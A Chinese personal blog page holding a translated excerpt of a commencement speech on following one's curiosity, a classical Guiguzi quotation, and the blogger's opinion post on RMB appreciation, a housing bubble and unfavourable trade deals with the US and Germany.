想象我们现在面临的局面。这是美国社会的贫困——思想、道德和精神贫困的最明显症状,美国最聪明的年轻人竟然认为听从自己的好奇心行动就是自我放任。你们得到的教导是应该上大学,但你们同时也被告知如果真的想得到教育,那就是“自我放任”。如果你自我教育的话,更糟糕。这是什么道理?进入证券咨询业是不是自我放任?进入金融业是不是自我放任?像许多人那样进入律师界发财是不是自我放任?搞音乐,写文章就不行,因为它不能给人带来利益(what good does that really do anyone)。但为风险投资公司工作就可以。追求自己的理想和激情是自私的,除非它能让你赚很多钱。那样的话,就一点儿也不自私了。(It's selfish to pursue your passion, unless it's also going to make you a lot of money, in which case it's not selfish at all.)

你看到这些观点是多么荒谬了吗?这就是罩在你们身上的网,就是我说的需要勇气的意思。这是永不停息的过程(a never-ending process)。在两年前的哈佛事件中,有个学生谈到我说的大学生需要重新思考人生决定的观点,他说“我们已经做出了决定,我们早在中学时就已经决定成为能够进入哈佛的高材生。”我在想,谁会打算按照他在12岁时做出的决定生活呢?(who wants to live with the decisions that they made when they were 12?) 让我换一种说法,谁愿意让一个12岁的孩子决定他们未来一辈子要做什么呢?或者一个19岁的小毛孩儿?

你能做出的决定是你现在想什么,你需要准备好不断修改自己的决定。

让我说得更明白一些。我不是在试图说服你们都成为音乐家或者作家。成为医生、律师、科学家、工程师或者经济学家没有什么不好,这些都是可靠的、可敬的选择(valid and admirable choices)。我想说的是你需要思考它,认真地思考(think about it hard)。我请求你们做的,是根据正确的理由做出你的选择。我在敦促你们的,是认识到你的道德自由(moral freedom)并热情拥抱它。

最重要的是,不要过分谨慎。(Don't play it safe.)去拒否(RESIST)我们社会给予了过高奖赏的那些卑怯的价值观的诱惑:舒服、方便、安全、可预测的、可控制的。这些,同样是罗网。最重要的是,去拒否失败的恐惧感。是的,你会犯错误。可那是你的错误,不是别人的。你将从错误中缓过来,而且,正是因为这些错误,你更好地认识你自己。由此,你成为更完整和强大的人(a fuller and a stronger person)。

人们常说你们年轻人属于“后情感”一代(a "postemotional" generation),我想我未必赞同这个说法,但这个说法值得严肃对待。你们更愿意规避混乱、动荡和强烈的感情(avoid messy and turbulent and powerful feelings),但我想说,不要回避挑战自我(the challenging parts of yourself),不要否认欲望和好奇心(the desires and curiosities)、怀疑和不满(the doubts and dissatisfactions)、快乐和阴郁(the joy and the darkness),它们可能改变你预设的人生轨迹。大学刚开始,成年时代也才刚开始。打开自己,直面各种可能性吧。这个世界的深广远超你现在想象的边际。这意味着,你自身的深广也将远超你现在的想象。

 
2011-01-17 00:26

圣人所以能成其事者有五:
有以阳德之者,
有以阴贼之者,
有以信诚之者,
有以蔽匿之者,
有以平素之者。
阳励于一言,阴励于二言,平素、枢机以用;
四者微而施之。
于事度之往事,验之来事,参之平素,可则决之。

先看一个历史故事:http://hi.baidu.com/ring04h/blog/item/69ef911cadbb4e9986d6b66d.html

如果把故事中的楚国换成中国,梅花鹿换成大房子。中国农民一家三代,可能更多代,为了一套房子,已经忘却了自己存在的理由。六笔党当权当势之人腐败不堪,更加忘却了存在的理由。小道消息:据可靠情报“我国粮食管理局严重腐败,一旦出现战争或者大型灾难,将立刻出现饥荒。”,等到中国经济通货膨胀之时,我们就如故事中所讲一样,除了有大量的红花花的人民币之外,还有什么?

现在的情况:
人民币对美元中间价再创汇改以来新高,进入6.5元时代。人民币升值的压力既来自于外部的政治压力,也来自内部通胀压力。

原理:
人民币升值,热钱流入,资产升值,更多热钱流入,更多资产升值。人民币升值阶段结束,甚至反转,大量热钱流出,房地产崩盘。所以,房地产升值是个汇率问题。

还有很多想讲的,留给看官自己思考吧。

 

美国人为什么这么不讲理:
2010年的5月份美国组建了由大大小小200个高官组成的代表团,来参加“第二次中美战略与经济对话”,这次对话的结果让美国透过汇率大战,用威逼利诱的方式,拿走了我们8000亿的新能源市场,想一想,难怪美国人要来这么多人,利益驱动。

为什么德国人这么不讲理:
2010年的7月份,德国代表团的在女强人总理的带领下,政府官员,国会议员和企业家都来了,他们总共包了三家飞机,通过和美国类似的方式拿走了一大堆让中国人感到痛心的“以市场换技术”的合同。

我们到底怎么了?就没人会想想吗? 国家存亡,你敢大声说不关你的事吗?你能再无知点吗?

 
     
 
 
个人档案
 
ring04h

 
   
 
最近访客
 
 

hkjitbl

0x442e

kerne1_madman

holyou

r00ts

Lucif4r

fengyun801

wxc19850525
     
 
背景音乐
 
     
 
订阅我的空间
 
已有人次访问本空间
 
订阅RSS  什么是RSS?

您也想拥有这样的空间?请点此申请。
     

帮助中心  |  空间客服  |  投诉中心  |  空间协议
©2012 Baidu